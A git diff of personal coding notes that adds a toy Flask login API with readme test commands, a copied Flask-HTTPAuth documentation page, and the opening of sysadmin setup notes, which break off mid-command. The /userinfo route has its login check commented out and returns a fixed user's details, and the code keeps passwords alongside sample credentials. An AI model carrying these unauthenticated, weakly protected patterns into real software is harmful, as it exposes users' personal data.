200, + "Successful login": True, + "current_user.is_authenticated": current_user.is_authenticated, + "userinfo": userinfo, + } + ), + 200, + ) + # wrong username and passwd: + else: + # return redirect("auth.login") + return make_response( + jsonify({"status": 401, "reason": "Username or Password Error"}), 401 + ) + + +# echo '{"username":"a", "password":"123"}' | http POST https://127.0.0.1:5000/login +# echo '{"username":"a", "password":"wrongpasswd"}' | http POST https://127.0.0.1:5000/login + + +@auth.route("/logout", methods=["GET"]) +# @login_required +def logout(): + logout_user() + return make_response(jsonify({"status": 200, "Session": "Successful logout"}), 200) + # if current_user.is_authenticated: + # logout_user() + # # return redirect('main.index') + # return make_response(jsonify({"status": 200, "Session": "Successful logout"}), 200) + # else: + # return make_response(jsonify({"status": 403, "Session": "you are not even login"}), 403) + + +# http GET https://127.0.0.1:5000/logout diff --git a/_posts/00CodeNote/language/Python/API/code/code3/db.sqlite b/_posts/00CodeNote/language/Python/API/code/code3/db.sqlite new file mode 100644 index 00000000000..c95485cf014 Binary files /dev/null and b/_posts/00CodeNote/language/Python/API/code/code3/db.sqlite differ diff --git a/_posts/00CodeNote/language/Python/API/code/code3/main.py b/_posts/00CodeNote/language/Python/API/code/code3/main.py new file mode 100644 index 00000000000..a6b36962a5a --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code3/main.py @@ -0,0 +1,58 @@ +from flask import Blueprint, jsonify, make_response, render_template +from flask_login import current_user, login_required + +from .models import User + +main = Blueprint("main", __name__) + + +@main.route("/", methods=["GET"]) +def index(): + # return render_template('index.html') + return make_response("Home index Page", 200) + + +# http GET https://127.0.0.1:5000/ + + +@main.route("/profile", methods=["GET"]) +@login_required +def profile(): + # return render_template('profile.html', name=current_user.name) + return make_response("User profile Page", 200) + + +# http GET https://127.0.0.1:5000/profile + + +@main.route("/userinfo", methods=["GET"]) +# @login_required +def user_info(): + target_id = 1 + user = User.query.filter_by(db_id=target_id).first() + username = user.db_username + flname = user.db_flname + engine = user.db_engine + + return make_response( + jsonify( + { + "username": username, + "Firstname Lastname": flname, + "Mother’s Favorite Search Engine": engine, + } + ), + 201, + ) + + # if not current_user.is_anonymous: + # user = User.query.filter_by(db_id=current_user.db_id).first() + # username = user.db_username + # flname = user.db_flname + # engine = user.db_engine + # return make_response(jsonify({"username": username, "flname":flname, "engine" :engine}), 200) + # else: + # return make_response(jsonify({{"status": 401, "userinfo":False, "error message":"please login first"}), 401) + + +# http GET https://127.0.0.1:5000/userinfo diff --git a/_posts/00CodeNote/language/Python/API/code/code3/models.py b/_posts/00CodeNote/language/Python/API/code/code3/models.py new file mode 100644 index 00000000000..40af236e95a --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code3/models.py @@ -0,0 +1,17 @@ +from flask_login import UserMixin + +from . import db + + +class User(db.Model, UserMixin): + db_id = db.Column(db.Integer, primary_key=True, autoincrement=True, nullable=False) + db_username = db.Column(db.String(256), unique=True) + db_flname = db.Column(db.String(100)) + db_password = db.Column(db.String(100)) + db_engine = db.Column(db.String(100)) + + def get_id(self): + return self.db_id + + +# echo '{"username":"a", "Firstname Lastname":"ab", "password":"123", "Mother’s Favorite Search Engine":"c"}' | http POST https://127.0.0.1:5000/adduser diff --git a/_posts/00CodeNote/language/Python/API/code/code3/templates/index.html b/_posts/00CodeNote/language/Python/API/code/code3/templates/index.html new file mode 100644 index 00000000000..7ee9a92a87f --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code3/templates/index.html @@ -0,0 +1 @@ +

    Home Page

    diff --git a/_posts/00CodeNote/language/Python/API/code/code3/templates/login.html b/_posts/00CodeNote/language/Python/API/code/code3/templates/login.html new file mode 100644 index 00000000000..dc64f52fd48 --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code3/templates/login.html @@ -0,0 +1 @@ +

    Login

    diff --git a/_posts/00CodeNote/language/Python/API/code/code3/templates/profile.html b/_posts/00CodeNote/language/Python/API/code/code3/templates/profile.html new file mode 100644 index 00000000000..6226ba1ec83 --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code3/templates/profile.html @@ -0,0 +1 @@ +

    Profile Page

    diff --git a/_posts/00CodeNote/language/Python/API/code/code3/templates/signup.html b/_posts/00CodeNote/language/Python/API/code/code3/templates/signup.html new file mode 100644 index 00000000000..6a9695b016a --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/code3/templates/signup.html @@ -0,0 +1 @@ +

    Signup

    diff --git a/_posts/00CodeNote/language/Python/API/code/readme.md b/_posts/00CodeNote/language/Python/API/code/readme.md new file mode 100644 index 00000000000..444bb79b3f8 --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/code/readme.md @@ -0,0 +1,238 @@ + +# REST API for User +This is a RESTful API that supports 4 operations: +- adding a user, +- authenticating, +- retrieving user details, +- and logging out. + +``` +code +│ README.md +└───code3 +│ │ __init__.py +│ | auth.py +│ | main.py +│ | models.py +│ | db.sqlite +│ └───templates +│ │ index.html +│ │ login.html +│ │ profile.html +│ └───signup.html +│ +│ +└───code-noAuth (another RESTful API that supports some operations) +``` + +--- + +## Endpoints + +> `/adduser` **adding a user** + + +`GET /adduser` +- GET request to get the adduser.html +- Request data: NIL +- Response data: a JSON or redirect url to adduser.html +- Response Status Code for success: + - 200 OK +- Response Status Code for failure: + - 404 Not Found + +`POST /adduser` +- POST request to create a new user (Database CREATE). +- Request data: a new user (JSON) +- Response data: the created item (JSON) +- Response Status Code for success: + - 201 Created +- Response Status Code for failure: + - 400 Bad Request (inval username) + + +> `/login` **authenticating** + +`GET /login` +- GET request to get the login.html +- Request data: NIL +- Response data: a JSON or redirect url to login.html +- Response Status Code for success: + - 20O OK +- Response Status Code for failure: + - 404 Not Found + +`POST /login` +- GET request to authenticate a new user +- Request data: a username and password (JSON) +- Response data: the login status and user info (JSON) +- Response Status Code for success: + - 200 logged in +- Response Status Code for failure: + - 401 Unauthorized + + + +> `/logout` **logged out** + +`GET /logout` +- logout the current user +- Request data: NIL +- Response data: the login status (JSON) +- Response Status Code for success: + - 200 logged in +- Response Status Code for failure: + - 403 No Permissions + + + +> `/userinfo` **retrieving user details** + +`GET /userinfo` +- retrieving the current user information +- Request data: NIL +- Response data: the current login user info (JSON) +- Response Status Code for success: + - 200 current user logged in +- Response Status Code for failure: + - 401 Unauthorized + + + +--- + + +## Steps to run app and tests: + +1. Install Python + +2. Create virtualenv + +3. required modules: + +```bash +$ pip3 install dataset +$ pip3 install flask +$ pip3 install flask-bcrypt +$ pip3 install flask_sqlalchemy +$ pip3 install flask_login +$ pip3 install werkzeug +``` + +4. Go to root folder of the project, run app: + +```bash +# the current database db.sqlite already have the test data + +# -------------- if you want to create your own database (optional) -------------- +$ python3 +>>> from code3 import db, create_app +>>> db.create_all(app=create_app()) +>>> exit() + + +# -------------- under the code folder -------------- +$ export FLASK_APP=code3 +$ flask run + + +# insert the test data, if you delete the current exsisted database db.sqlite (optional) +$ echo '{"username": "gh0st", "Firstname Lastname": "William L. Simon", "password": "", "Mother’s Favorite Search Engine": "Searx"}' | http POST https://127.0.0.1:5000/signup +$ echo '{"username":"jet-setter", "Firstname Lastname":"Frank Abignale","password":"r0u7!nG", "Mother’s Favorite Search Engine":"Bing"}' | http POST https://127.0.0.1:5000/signup +$ echo '{"username":"kvothe", "Firstname Lastname":"Patrick Rothfuss","password":"3##Heel7sa*9-zRwT", "Mother’s Favorite Search Engine":"Duck Duck Go"}' | http POST https://127.0.0.1:5000/signup +$ echo '{"username":"tpratchett", "Firstname Lastname":"Terry Pratchett","password":"Thats Sir Terry to you!", "Mother’s Favorite Search Engine":"Google"}' | http POST https://127.0.0.1:5000/signup +$ echo '{"username":"lmb", "Firstname Lastname":"Lois McMaster Bujold","password":"null", "Mother’s Favorite Search Engine":"Yandex"}' | http POST https://127.0.0.1:5000/signup +$ echo '{"username":"a", "Firstname Lastname":"x", "password":"123", "Mother’s Favorite Search Engine":"c"}' | http POST https://127.0.0.1:5000/signup + + + + +# -------------- test the /adduser, add user -------------- +$ echo '{"username":"a", "Firstname Lastname":"x", "password":"123", "Mother’s Favorite Search Engine":"c"}' | http POST https://127.0.0.1:5000/adduser +# HTTP/1.0 200 OK +# Content-Length: 73 +# Content-Type: application/json +# Date: Mon, 21 Dec 2020 08:43:13 GMT +# Server: Werkzeug/1.0.1 Python/3.8.3 +# { +# "status": 200, +# "new_user" : { +# "username":"a", +# "Firstname Lastname":"x", +# "password":"123", +# "Mother’s Favorite Search Engine":"c" +# } +# } +$ echo '{"username":"ab", "Firstname Lastname":"doubleuser", "password":"123", "Mother’s Favorite Search Engine":"c"}' | http POST https://127.0.0.1:5000/adduser +# HTTP/1.0 400 BAD REQUEST +# Content-Length: 73 +# Content-Type: application/json +# Date: Mon, 21 Dec 2020 08:43:13 GMT +# Server: Werkzeug/1.0.1 Python/3.8.3 +# { +# "Add user": false, +# "Error Message": "username not available or already exsisted", +# "status": 400 +# } +$ echo '{"username":"newusernotindatabseyet", "Firstname Lastname":"x", "password":"123sufueiwbryilsdifbe", "Mother’s Favorite Search Engine":"bingo"}' | http POST https://127.0.0.1:5000/adduser + + + + + +# -------------- test the /login, authenticate the user -------------- +echo '{"username":"a", "password":"123"}' | http POST https://127.0.0.1:5000/login +# HTTP/1.0 200 OK +# Content-Length: 75 +# Content-Type: application/json +# Date: Mon, 21 Dec 2020 08:41:09 GMT +# Server: Werkzeug/1.0.1 Python/3.8.3 +# Set-Cookie: session=.eJwdzjsOwjAMANC7ZGaIHdtxepkq_kSwtnRC3J2K6a3vU_Z15Pks2_u48lH2V5StGJioaG2QudTIV1Y1r8I0ktEGkXlAq7NPX-SygqmRAyfpYtOAQUmzoo5-2zCAu2ln5mhOMCdghqqzKAGM6ANB5kQyJNByR64zj_9Gvj9qzC5q.X-BfpQ.tL0UcpeDR2YxnFFAPuA17bhNUso; HttpOnly; Path=/ +# Vary: Cookie +# { +# "Successful login": true, +# "current_user.is_authenticated": true, +# "status": 200, +# "userinfo": { +# "Firstname Lastname": "x", +# "Mother’s Favorite Search Engine": "c", +# "username": "a" +# } +# } +echo '{"username":"a", "password":"wrongpasswd"}' | http POST https://127.0.0.1:5000/login +# HTTP/1.0 401 UNAUTHORIZED +# Content-Length: 53 +# Content-Type: application/json +# Date: Mon, 21 Dec 2020 08:41:28 GMT +# Server: Werkzeug/1.0.1 Python/3.8.3 +# { +# "reason": "Username or Password Error", +# "status": 401 +# } + + + + +# -------------- test the /logout, logging out -------------- +$ http GET https://127.0.0.1:5000/logout +# redirect url to the main.index + + + + +# -------------- test the /userinfo, retrieving user details -------------- +$ http GET https://127.0.0.1:5000/userinfo +# HTTP/1.0 201 CREATED +# Content-Length: 108 +# Content-Type: application/json +# Date: Mon, 21 Dec 2020 08:46:46 GMT +# Server: Werkzeug/1.0.1 Python/3.8.3 +# { +# "Firstname Lastname": "William L. Simon", +# "Mother’s Favorite Search Engine": "Searx", +# "username": "gh0st" +# } +``` + + +--- diff --git a/_posts/00CodeNote/language/Python/API/flask-auth.md b/_posts/00CodeNote/language/Python/API/flask-auth.md new file mode 100644 index 00000000000..7db1726ceff --- /dev/null +++ b/_posts/00CodeNote/language/Python/API/flask-auth.md @@ -0,0 +1,471 @@ +--- +title: Python Crash +date: 2019-10-11 11:11:11 -0400 +description: +categories: [00CodeNote, PythonNote] +img: /assets/img/sample/rabbit.png +tags: [Python] +--- + +[toc] + +--- + + +# Flask-HTTPAuth + +**Flask-HTTPAuth** is a Flask extension that simplifies the use of HTTP authentication with Flask routes. + + + + +## Basic authentication examples + +The following example application uses HTTP Basic authentication to protect route `'/'`: + +```py +from flask import Flask +from flask_httpauth import HTTPBasicAuth +from werkzeug.security import generate_password_hash, check_password_hash + +app = Flask(__name__) +auth = HTTPBasicAuth() + +users = { + "john": generate_password_hash("hello"), + "susan": generate_password_hash("bye") +} + +@auth.verify_password +def verify_password(username, password): + if username in users and check_password_hash(users.get(username), password): + return username + +@app.route('/') +@auth.login_required +def index(): + return "Hello, {}!".format(auth.current_user()) + +if __name__ == '__main__': + app.run() +``` + + +The function decorated with the `verify_password` decorator receives the username and password sent by the client. +- If the credentials belong to a user, then the function should return the user object. +- If the credentials are invalid the function can return `None` or `False`. +- The user object can then be queries from the `current_user()` method of the authentication instance. + + +--- + + +## Digest authentication example + + +The following example uses HTTP Digest authentication: + +```py +from flask import Flask +from flask_httpauth import HTTPDigestAuth + +app = Flask(__name__) +app.config['SECRET_KEY'] = 'secret key here' +auth = HTTPDigestAuth() + +users = { + "john": "hello", + "susan": "bye" +} + +@auth.get_password +def get_pw(username): + if username in users: + return users.get(username) + return None + +@app.route('/') +@auth.login_required +def index(): + return "Hello, {}!".format(auth.username()) + +if __name__ == '__main__': + app.run() +``` + + +### Security Concerns with Digest Authentication[¶](#security-concerns-with-digest-authentication "Permalink to this headline") + +The digest authentication algorithm requires a _challenge_ to be sent to the client for use in encrypting the password for transmission. This challenge needs to be used again when the password is decoded at the server, so the challenge information needs to be stored so that it can be recalled later. + +By default, Flask-HTTPAuth stores the challenge data in the Flask session. To make the authentication flow secure when using session storage, it is required that server-side sessions are used instead of the default Flask cookie based sessions, as this ensures that the challenge data is not at risk of being captured as it moves in a cookie between server and client. The Flask-Session and Flask-KVSession extensions are both very good options to implement server-side sessions. + +As an alternative to using server-side sessions, an application can implement its own generation and storage of challenge data. To do this, there are four callback functions that the application needs to implement: + +@auth.generate_nonce +def generate_nonce(): + """Return the nonce value to use for this client.""" + pass + +@auth.generate_opaque +def generate_opaque(): + """Return the opaque value to use for this client.""" + pass + +@auth.verify_nonce +def verify_nonce(nonce): + """Verify that the nonce value sent by the client is correct.""" + pass + +@auth.verify_opaque +def verify_opaque(opaque): + """Verify that the opaque value sent by the client is correct.""" + pass + +For information of what the `nonce` and `opaque` values are and how they are used in digest authentication, consult [RFC 2617](https://tools.ietf.org/html/rfc2617#section-3.2.1). + +Token Authentication Example[¶](#token-authentication-example "Permalink to this headline") +------------------------------------------------------------------------------------------- + +The following example application uses a custom HTTP authentication scheme to protect route `'/'` with a token: + +from flask import Flask, g +from flask_httpauth import HTTPTokenAuth + +app = Flask(__name__) +auth = HTTPTokenAuth(scheme='Bearer') + +tokens = { + "secret-token-1": "john", + "secret-token-2": "susan" +} + +@auth.verify_token +def verify_token(token): + if token in tokens: + return tokens[token] + +@app.route('/') +@auth.login_required +def index(): + return "Hello, {}!".format(auth.current_user()) + +if __name__ == '__main__': + app.run() + +The `HTTPTokenAuth` is a generic authentication handler that can be used with non-standard authentication schemes, with the scheme name given as an argument in the constructor. In the above example, the `WWW-Authenticate` header provided by the server will use `Bearer` as scheme: + +WWW-Authenticate: Bearer realm="Authentication Required" + +The `verify_token` callback receives the authentication credentials provided by the client on the `Authorization` header. This can be a simple token, or can contain multiple arguments, which the function will have to parse and extract from the string. As with the `verify_password`, the function should return the user object if the token is valid. + +In the examples directory you can find a complete example that uses JWS tokens. JWS tokens are similar to JWT tokens. However using JWT tokens would require an external dependency. + +Using Multiple Authentication Schemes[¶](#using-multiple-authentication-schemes "Permalink to this headline") +------------------------------------------------------------------------------------------------------------- + +Applications sometimes need to support a combination of authentication methods. For example, a web application could be authenticated by sending client id and secret over basic authentication, while third party API clients use a JWS or JWT bearer token. The MultiAuth class allows you to protect a route with more than one authentication object. To grant access to the endpoint, one of the authentication methods must validate. + +In the examples directory you can find a complete example that uses basic and token authentication. + +User Roles[¶](#user-roles "Permalink to this headline") +------------------------------------------------------- + +Flask-HTTPAuth includes a simple role-based authentication system that can optionally be added to provide an additional layer of granularity in filtering accesses to routes. To enable role support, write a function that returns the list of roles for a given user and decorate it with the `get_user_roles` decorator: + +@auth.get_user_roles +def get_user_roles(user): + return user.get_roles() + +To restrict access to a route to users having a given role, add the `role` argument to the `login_required` decorator: + +@app.route('/admin') +@auth.login_required(role='admin') +def admins_only(): + return "Hello {}, you are an admin!".format(auth.current_user()) + +The `role` argument can take a list of roles, in which case users who have any of the given roles will be granted access: + +@app.route('/admin') +@auth.login_required(role=['admin', 'moderator']) +def admins_only(): + return "Hello {}, you are an admin or a moderator!".format(auth.current_user()) + +In the most advanced usage, users can be filtered by having multiple roles: + +@app.route('/admin') +@auth.login_required(role=['user', ['moderator', 'contributor']]) +def admins_only(): + return "Hello {}, you are a user or a moderator/contributor!".format(auth.current_user()) + +Deployment Considerations[¶](#deployment-considerations "Permalink to this headline") +------------------------------------------------------------------------------------- + +Be aware that some web servers do not pass the `Authorization` headers to the WSGI application by default. For example, if you use Apache with mod_wsgi, you have to set option `WSGIPassAuthorization On` as [documented here](https://code.google.com/p/modwsgi/wiki/ConfigurationDirectives#WSGIPassAuthorization/). + +Deprecated Basic Authentication Options[¶](#deprecated-basic-authentication-options "Permalink to this headline") +----------------------------------------------------------------------------------------------------------------- + +Before the `verify_password` described above existed there were other simpler mechanisms for implementing basic authentication. While these are deprecated they are still maintained. However, the `verify_password` callback should be preferred as it provides greater security and flexibility. + +The `get_password` callback needs to return the password associated with the username given as argument. Flask-HTTPAuth will allow access only if `get_password(username) == password`. Example: + +@auth.get_password +def get_password(username): + return get_password_for_username(username) + +Using this callback alone is in general not a good idea because it requires passwords to be available in plaintext in the server. In the more likely scenario that the passwords are stored hashed in a user database, then an additional callback is needed to define how to hash a password: + +@auth.hash_password +def hash_pw(password): + return hash_password(password) + +In this example, you have to replace `hash_password()` with the specific hashing function used in your application. When the `hash_password` callback is provided, access will be granted when `get_password(username) == hash_password(password)`. + +If the hashing algorithm requires the username to be known then the callback can take two arguments instead of one: + +@auth.hash_password +def hash_pw(username, password): + salt = get_salt(username) + return hash_password(password, salt) + +API Documentation[¶](#module-flask_httpauth "Permalink to this headline") +------------------------------------------------------------------------- + +_class_ `flask_httpauth.``HTTPBasicAuth`[¶](#flask_httpauth.HTTPBasicAuth "Permalink to this definition") + +This class handles HTTP Basic authentication for Flask routes. + +`__init__`(_scheme=None_, _realm=None_)[¶](#flask_httpauth.HTTPBasicAuth.__init__ "Permalink to this definition") + +Create a basic authentication object. + +If the optional `scheme` argument is provided, it will be used instead of the standard “Basic” scheme in the `WWW-Authenticate` response. A fairly common practice is to use a custom scheme to prevent browsers from prompting the user to login. + +The `realm` argument can be used to provide an application defined realm with the `WWW-Authenticate` header. + +`verify_password`(_verify_password_callback_)[¶](#flask_httpauth.HTTPBasicAuth.verify_password "Permalink to this definition") + +If defined, this callback function will be called by the framework to verify that the username and password combination provided by the client are valid. The callback function takes two arguments, the username and the password. It must return the user object if credentials are valid, or `True` if a user object is not available. In case of failed authentication, it should return `None` or `False`. Example usage: + +@auth.verify_password +def verify_password(username, password): + user = User.query.filter_by(username).first() + if user and passlib.hash.sha256_crypt.verify(password, user.password_hash): + return user + +If this callback is defined, it is also invoked when the request does not have the `Authorization` header with user credentials, and in this case both the `username` and `password` arguments are set to empty strings. The application can opt to return `True` in this case and that will allow anonymous users access to the route. The callback function can indicate that the user is anonymous by writing a state variable to `flask.g` or by checking if `auth.current_user()` is `None`. + +Note that when a `verify_password` callback is provided the `get_password` and `hash_password` callbacks are not used. + +`get_user_roles`(_roles_callback_)[¶](#flask_httpauth.HTTPBasicAuth.get_user_roles "Permalink to this definition") + +If defined, this callback function will be called by the framework to obtain the roles assigned to a given user. The callback function takes a single argument, the user for which roles are requested. The user object passed to this function will be the one returned by the `verify_callback` function. The function should return the role or list of roles that belong to the user. Example: + +@auth.get_user_roles +def get_user_roles(user): + return user.get_roles() + +`get_password`(_password_callback_)[¶](#flask_httpauth.HTTPBasicAuth.get_password "Permalink to this definition") + +_Deprecated_ This callback function will be called by the framework to obtain the password for a given user. Example: + +@auth.get_password +def get_password(username): + return db.get_user_password(username) + +`hash_password`(_hash_password_callback_)[¶](#flask_httpauth.HTTPBasicAuth.hash_password "Permalink to this definition") + +_Deprecated_ If defined, this callback function will be called by the framework to apply a custom hashing algorithm to the password provided by the client. If this callback isn’t provided the password will be checked unchanged. The callback can take one or two arguments. The one argument version receives the password to hash, while the two argument version receives the username and the password in that order. Example single argument callback: + +@auth.hash_password +def hash_password(password): + return md5(password).hexdigest() + +Example two argument callback: + +@auth.hash_password +def hash_pw(username, password): + salt = get_salt(username) + return hash(password, salt) + +`error_handler`(_error_callback_)[¶](#flask_httpauth.HTTPBasicAuth.error_handler "Permalink to this definition") + +If defined, this callback function will be called by the framework when it is necessary to send an authentication error back to the client. The function can take one argument, the status code of the error, which can be 401 (incorrect credentials) or 403 (correct, but insufficient credentials). To preserve compatiiblity with older releases of this package, the function can also be defined without arguments. The return value from this function must by any accepted response type in Flask routes. If this callback isn’t provided a default error response is generated. Example: + +@auth.error_handler +def auth_error(status): + return "Access Denied", status + +`login_required`(_view_function_callback_)[¶](#flask_httpauth.HTTPBasicAuth.login_required "Permalink to this definition") + +This callback function will be called when authentication is successful. This will typically be a Flask view function. Example: + +@app.route('/private') +@auth.login_required +def private_page(): + return "Only for authorized people!" + +An optional `role` argument can be given to further restrict access by roles. Example: + +@app.route('/private') +@auth.login_required(role='admin') +def private_page(): + return "Only for admins!" + +An optional `optional` argument can be set to `True` to allow the route to execute also when authentication is not included with the request, in which case `auth.current_user()` will be set to `None`. Example: + +@app.route('/private') +@auth.login_required(optional=True) +def private_page(): + user = auth.current_user() + return "Hello {}!".format(user.name if user is not None else 'anonymous') + +`current_user`()[¶](#flask_httpauth.HTTPBasicAuth.current_user "Permalink to this definition") + +The user object returned by the `verify_password` callback on successful authentication. If no user is returned by the callback, this is set to the username passed by the client. Example: + +@app.route('/') +@auth.login_required +def index(): + user = auth.current_user() + return "Hello, {}!".format(user.name) + +`username`()[¶](#flask_httpauth.HTTPBasicAuth.username "Permalink to this definition") + +_Deprecated_ A view function that is protected with this class can access the logged username through this method. Example: + +@app.route('/') +@auth.login_required +def index(): + return "Hello, {}!".format(auth.username()) + +_class_ `flask_httpauth.``HTTPDigestAuth`[¶](#flask_httpauth.HTTPDigestAuth "Permalink to this definition") + +This class handles HTTP Digest authentication for Flask routes. The `SECRET_KEY` configuration must be set in the Flask application to enable the session to work. Flask by default stores user sessions in the client as secure cookies, so the client must be able to handle cookies. To make this authentication method secure, a [session interface](https://flask.pocoo.org/docs/api/#flask.Flask.session_interface) that writes sessions in the server must be used. + +`__init__`(_self_, _scheme=None_, _realm=None_, _use_ha1_pw=False_)[¶](#flask_httpauth.HTTPDigestAuth.__init__ "Permalink to this definition") + +Create a digest authentication object. + +If the optional `scheme` argument is provided, it will be used instead of the “Digest” scheme in the `WWW-Authenticate` response. A fairly common practice is to use a custom scheme to prevent browsers from prompting the user to login. + +The `realm` argument can be used to provide an application defined realm with the `WWW-Authenticate` header. + +If `use_ha1_pw` is False, then the `get_password` callback needs to return the plain text password for the given user. If `use_ha1_pw` is True, the `get_password` callback needs to return the HA1 value for the given user. The advantage of setting `use_ha1_pw` to `True` is that it allows the application to store the HA1 hash of the password in the user database. + +`generate_ha1`(_username_, _password_)[¶](#flask_httpauth.HTTPDigestAuth.generate_ha1 "Permalink to this definition") + +Generate the HA1 hash that can be stored in the user database when `use_ha1_pw` is set to True in the constructor. + +`generate_nonce`(_nonce_making_callback_)[¶](#flask_httpauth.HTTPDigestAuth.generate_nonce "Permalink to this definition") + +If defined, this callback function will be called by the framework to generate a nonce. If this is defined, `verify_nonce` should also be defined. + +This can be used to use a state storage mechanism other than the session. + +`verify_nonce`(_nonce_verify_callback_)[¶](#flask_httpauth.HTTPDigestAuth.verify_nonce "Permalink to this definition") + +If defined, this callback function will be called by the framework to verify that a nonce is valid. It will be called with a single argument: the nonce to be verified. + +This can be used to use a state storage mechanism other than the session. + +`generate_opaque`(_opaque_making_callback_)[¶](#flask_httpauth.HTTPDigestAuth.generate_opaque "Permalink to this definition") + +If defined, this callback function will be called by the framework to generate an opaque value. If this is defined, `verify_opaque` should also be defined. + +This can be used to use a state storage mechanism other than the session. + +`verify_opaque`(_opaque_verify_callback_)[¶](#flask_httpauth.HTTPDigestAuth.verify_opaque "Permalink to this definition") + +If defined, this callback function will be called by the framework to verify that an opaque value is valid. It will be called with a single argument: the opaque value to be verified. + +This can be used to use a state storage mechanism other than the session. + +`get_password`(_password_callback_)[¶](#flask_httpauth.HTTPDigestAuth.get_password "Permalink to this definition") + +See basic authentication for documentation and examples. + +`get_user_roles`(_roles_callback_)[¶](#flask_httpauth.HTTPDigestAuth.get_user_roles "Permalink to this definition") + +See basic authentication for documentation and examples. + +`error_handler`(_error_callback_)[¶](#flask_httpauth.HTTPDigestAuth.error_handler "Permalink to this definition") + +See basic authentication for documentation and examples. + +`login_required`(_view_function_callback_)[¶](#flask_httpauth.HTTPDigestAuth.login_required "Permalink to this definition") + +See basic authentication for documentation and examples. + +`current_user`()[¶](#flask_httpauth.HTTPDigestAuth.current_user "Permalink to this definition") + +See basic authentication for documentation and examples. + +`username`()[¶](#flask_httpauth.HTTPDigestAuth.username "Permalink to this definition") + +See basic authentication for documentation and examples. + +_class_ `flask_httpauth.``HTTPTokenAuth`[¶](#flask_httpauth.HTTPTokenAuth "Permalink to this definition") + +This class handles HTTP authentication with custom schemes for Flask routes. + +`__init__`(_scheme='Bearer'_, _realm=None_, _header=None_)[¶](#flask_httpauth.HTTPTokenAuth.__init__ "Permalink to this definition") + +Create a token authentication object. + +The `scheme` argument can be use to specify the scheme to be used in the `WWW-Authenticate` response. The `Authorization` header sent by the client must include this scheme followed by the token. Example: + +Authorization: Bearer this-is-my-token + +The `realm` argument can be used to provide an application defined realm with the `WWW-Authenticate` header. + +The `header` argument can be used to specify a custom header instead of `Authorization` from where to obtain the token. If a custom header is used, the `scheme` should not be included. Example: + +X-API-Key: this-is-my-token + +`verify_token`(_verify_token_callback_)[¶](#flask_httpauth.HTTPTokenAuth.verify_token "Permalink to this definition") + +This callback function will be called by the framework to verify that the credentials sent by the client with the `Authorization` header are valid. The callback function takes one argument, the token provided by the client. The function must return the user object if the token is valid, or `True` if a user object is not available. In case of a failed authentication, the function should return `None` or `False`. Example usage: + +@auth.verify_token +def verify_token(token): + return User.query.filter_by(token=token).first() + +Note that a `verify_token` callback is required when using this class. + +`get_user_roles`(_roles_callback_)[¶](#flask_httpauth.HTTPTokenAuth.get_user_roles "Permalink to this definition") + +See basic authentication for documentation and examples. + +`error_handler`(_error_callback_)[¶](#flask_httpauth.HTTPTokenAuth.error_handler "Permalink to this definition") + +See basic authentication for documentation and examples. + +`login_required`(_view_function_callback_)[¶](#flask_httpauth.HTTPTokenAuth.login_required "Permalink to this definition") + +See basic authentication for documentation and examples. + +`current_user`()[¶](#flask_httpauth.HTTPTokenAuth.current_user "Permalink to this definition") + +See basic authentication for documentation and examples. + +_class_ `flask_httpauth.``HTTPMultiAuth`[¶](#flask_httpauth.HTTPMultiAuth "Permalink to this definition") + +This class handles HTTP authentication with custom schemes for Flask routes. + +`__init__`(_auth_object_, _..._)[¶](#flask_httpauth.HTTPMultiAuth.__init__ "Permalink to this definition") + +Create a multiple authentication object. + +The arguments are one or more instances of `HTTPBasicAuth`, `HTTPDigestAuth` or `HTTPTokenAuth`. A route protected with this authentication method will try all the given authentication objects until one succeeds. + +`login_required`(_view_function_callback_)[¶](#flask_httpauth.HTTPMultiAuth.login_required "Permalink to this definition") + +See basic authentication for documentation and examples. + +`current_user`()[¶](#flask_httpauth.HTTPMultiAuth.current_user "Permalink to this definition") + +See basic authentication for documentation and examples. + +[![Fork me on GitHub](https://s3.amazonaws.com/github/ribbons/forkme_right_darkblue_121621.png)](https://github.com/miguelgrinberg/Flask-HTTPAuth) diff --git a/_posts/00CodeNote/language/Python/course/Python-SystemAdministratorScript/1.SetupEnvironment.md b/_posts/00CodeNote/language/Python/course/Python-SystemAdministratorScript/1.SetupEnvironment.md new file mode 100644 index 00000000000..928329cfe82 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python-SystemAdministratorScript/1.SetupEnvironment.md @@ -0,0 +1,140 @@ + + +# Python 3 Scripting for System Administrators + +[toc] + +From the linuxacademy: [Python 3 Scripting for System Administrators](https://linuxacademy.com/cp/courses/lesson/course/1680/lesson/1) + + +## Set up Cloud Server + + +Required Software Packages, Tools, and Files +git +wget +which +words (need file at /usr/share/dict/words) +lsof +text editor of your choice +python 3.6.5 + + +1. Installing Packages +```c +$ sudo su - +$ yum update +$ yum groupinstall -y "development tools" +$ yum install -y lsof wget vim-enhanced words which + +$ yum install -y \ +libffi-devel \ +zlib-devel \ +bzip2-devel \ +openssl-devel \ +ncurses-devel \ +sqlite-devel \ +readline-devel \ +tk-devel \ +gdbm-devel \ +db4-devel \ +libpcap-devel \ +xz-devel \ +expat-devel + +db4-devel libpcap-devel + +centos8: +$ yum install -y libffi-devel zlib-devel bzip2-devel openssl-devel ncurses-devel sqlite-devel readline-devel tk-devel gdbm-devel xz-devel expat-devel + +``` + +2. Configuring Git +```c +$ git config --global user.name "ocholito" +$ git config --global user.email "grace@hotmail.com" + +~ $ mkdir sample +~ $ cd sample/ +sample $ touch file.txt + +sample $ git init +Initialized empty Git repository in /home/server/sample/.git/ +sample $ git add --all . + +sample $ git status +On branch master +No commits yet +Changes to be committed: + (use "git rm --cached ..." to unstage) + new file: file.txt + +sample $ git commit -m "Added new file" +[master (root-commit) 583cf74] Added new file + 1 file changed, 0 insertions(+), 0 deletions(-) + create mode 100644 file.txt + +sample[master] $ git status +On branch master +nothing to commit, working tree clean +``` + + +3. Customizing Bash (option, change the bash) +```c +$ curl https://raw.githubusercontent.com/linuxacademy/content-python3-sysadmin/master/helpers/bashrc -o ~/.bashrc + +// download the file +// rename it +// place it in the proper directory: +``` + + +4. Customizing Vim +```c +$ curl https://raw.githubusercontent.com/linuxacademy/content-python3-sysadmin/master/helpers/vimrc -o ~/.vimrc +``` + +5. install python +```c +1. in centos8 + +$ cd /usr/src +$ wget 